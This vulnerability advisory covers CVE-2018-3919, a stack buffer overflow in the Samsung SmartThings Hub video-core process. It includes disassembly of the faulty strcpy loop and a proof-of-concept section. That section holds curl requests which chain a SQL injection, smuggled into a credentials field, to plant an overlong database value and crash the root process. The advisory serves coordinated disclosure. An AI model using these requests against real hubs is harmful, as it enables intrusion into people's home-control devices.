Samsung SmartThings Hub video-core Database clips Code Execution Vulnerability(CVE-2018-3919)

Summary

An exploitable stack-based buffer overflow vulnerability exists in the
retrieval of database fields in video-core’s HTTP server of Samsung
SmartThings Hub. The video-core process insecurely extracts the fields
from the “clips” table of its SQLite database, leading to a buffer
overflow on the stack. An attacker can send a series of HTTP requests to
trigger this vulnerability.

Tested Versions

Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17

Product URLs

https://www.smartthings.com/products/smartthings-hub

CVSSv3 Score

7.5 - CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-120: Buffer Copy without Checking Size of Input (‘Classic Buffer
Overflow’)

Details

Samsung produces a series of devices aimed at controlling and monitoring
a home, such as wall switches, LED bulbs, thermostats and cameras. One
of those is the Samsung SmartThings Hub, a central controller which
allows an end user to use their smartphone to connect to their house
remotely and operate other devices through it. The hub board utilizes
several systems on chips. The firmware in question is executed by an
i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A
architecture.

The firmware is Linux-based, and runs a series of daemons that interface
with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth
protocols. Additionally, the hubCore process is responsible for
communicating with the remote SmartThings servers via a persistent TLS
connection. These servers act as a bridge that allows for secure
communication between the smartphone application and the hub. End users
can simply install the SmartThings mobile application on their
smartphone to control the hub remotely.

One of the features of the hub is that it connects to smart cameras,
configures them and looks at their livestreams. For testing, we set up
the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream
can be displayed by the smartphone application by connecting either to
the remote SmartThings servers, or directly to the camera, if they’re
both in the same subnetwork.

Inside the hub, the livestream is handled by the video-core process,
which uses ffmpeg to connect via RTSP to the smart camera in its same
local network, and at the same time, provides a streamable link for the
smartphone application.

The remote SmartThings servers have the possibility to communicate with
the video-core process by sending messages in the persistent TLS
connection, established by the hubCore process. These messages can
encapsulate an HTTP request, which hubCore would relay directly to the
HTTP server exposed by video-core. The HTTP server listens on port
3000, bound to the localhost address, so a local connection is needed to
perform this request.

We identified a vulnerable function that can be exploited to achieve
code execution on the video-core process, which is running as root.

The hub allows to store clips information, which represent small
recordings that can be triggered on specific events. These are stored in
the “clips” table of video-core’s SQLite database (found at
“/hub/data/videocore/db/VideoCore.db”).

Function sub_12314 is used to retrieve all the columns from the
“clips” table and save them in a structure, stored on the stack, passed
as second argument.

.text:00012314     sub_12314
.text:00012314
.text:00012314     var_4  = -4
.text:00012314
.text:00012314 000        CMP             R0, #0 ; [1]
.text:00012318 000        BEQ             loc_1245C
.text:0001231C 000        CMP             R1, #0 ; [2]
.text:00012320 000        BEQ             loc_12444
.text:00012324 000        CMP             R2, #0 ; [3]
...
.text:00012390 040        B               loc_123D8
.text:00012394
.text:00012394     loc_12394
.text:00012394 040        CMP             R0, #0
.text:00012398 040        BLT             loc_12428
.text:0001239C 040        LDR             R10, [R11,#-0x28]
.text:000123A0 040        ADD             R6, R6, #1
.text:000123A4 040        MOV             R0, R10
.text:000123A8 040        BL              strlen
.text:000123AC 040        MOV             R1, R10
.text:000123B0 040        STR             R0, [R4,#-4]
.text:000123B4 040        MOV             R0, R4
.text:000123B8 040        BL              strcpy           ; [5]
.text:000123BC 040        MOV             R0, R10
.text:000123C0 040        BL              free
.text:000123C4
.text:000123C4     loc_123C4
.text:000123C4 040        ADD             R9, R9, #1
.text:000123C8 040        ADD             R5, R5, #0x84
.text:000123CC 040        CMP             R9, #0xF
.text:000123D0 040        ADD             R4, R4, #0x204
.text:000123D4 040        BEQ             loc_12428
.text:000123D8
.text:000123D8     loc_123D8
.text:000123D8 040        MOV             R0, #1           ; db_id
.text:000123DC 040        MOV             R1, R7           ; where
.text:000123E0 040        MOV             R2, R5           ; column
.text:000123E4 040        SUB             R3, R11, #0x28
.text:000123E8 040        STR             R8, [R11,#-0x28]
.text:000123EC 040        BL              db_find          ; [4]
.text:000123F0 040        CMN             R0, #6
.text:000123F4 040        BNE             loc_12394

The function takes three arguments: the clip ID [1], the clip ID length
[2], and a structure [3] where all the columns for the related clip ID
should be stored. At [4] a query is performed for fetching just one
column:

SELECT <column> FROM clip WHERE _id='<clip-id>'

where “clip-id” is the first argument [1] and “column” is one of the
columns of the table. If db_find succeeds, the result is then copied
in the structure [3] using strcpy [5]. The input structure is
populated by repeating the same logic for each column:

_id
cameraId
locationId
dni
captureTime
startTime
endTime
correlationId
callbackUrl
callbackCalled
status
statusMessage
url
filePath
thumbnailId

Each element in the structure is supposed to have a maximum size of 512
bytes, but since there is no restriction on the length of the copy
operation, the buffer can be overflowed, and this allows for overflowing
the input structure and execute arbitrary code.

Note that while we scored this vulnerability CVSS 7.5 on its own, it
would constitute a CVSS 8.5
(CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H) when combined with
TALOS-2018-0556. This is demonstrated in the proof of concepts below.

Exploit Proof of Concept

Function sub_12314 is called by multiple functions, in the following
proof of concept we show just one of the ways for triggering the
vulnerability, by crashing the video-core process. Note that it is
assumed that a camera already exists in the hub.

1- Add a clip
$ sClipId=1234
$ curl -X POST "http://127.0.0.1:3000/cameras/${sCameraId}/clips" -d '{"captureTime":"2000-01-01T00:00:00","startTime":"2000-01-01T00:00:00","endTime":"2000-01-01T00:00:00","callbackUrl":"x","url":"x","correlationId":"'${sClipId}'"}'

2- Modify the "clips.captureTime" value in the database. This is possible, for example, using using TALOS-2018-0556:
$ sInj='","_id=0 where 1=2;update clip set captureTime=replace(substr(quote(zeroblob((9000 + 1) / 2)), 3, 9000), \\"0\\", \\"A\\") where _id='${sClipId}';--":"'
$ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'accessKey':'','secretKey':'','directory':'','region':'','bucket':'','sessionToken':'${sInj}'},'videoHostUrl':'x/'}"

The first request will add a clip with id “1234”, and after replying to
the request the hub will continue to operate on the new camera and will
call, among others, sub_12314. If the second request is executed
quickly enough (that is, before sub_12314 is called), an attacker
could manage to execute the second request while the first request is
still being completed, in order to alter the content of the clip id
“1234” by setting an overlong “captureTime”, which will cause
video-core to crash when handled by sub_12314.

Timeline

• 2018-05-07 - Vendor Disclosure
• 2018-05-23 - Discussion with vendor/review of timeline for disclosure
• 2018-07-17 - Vendor patched
• 2018-07-26 - Public Release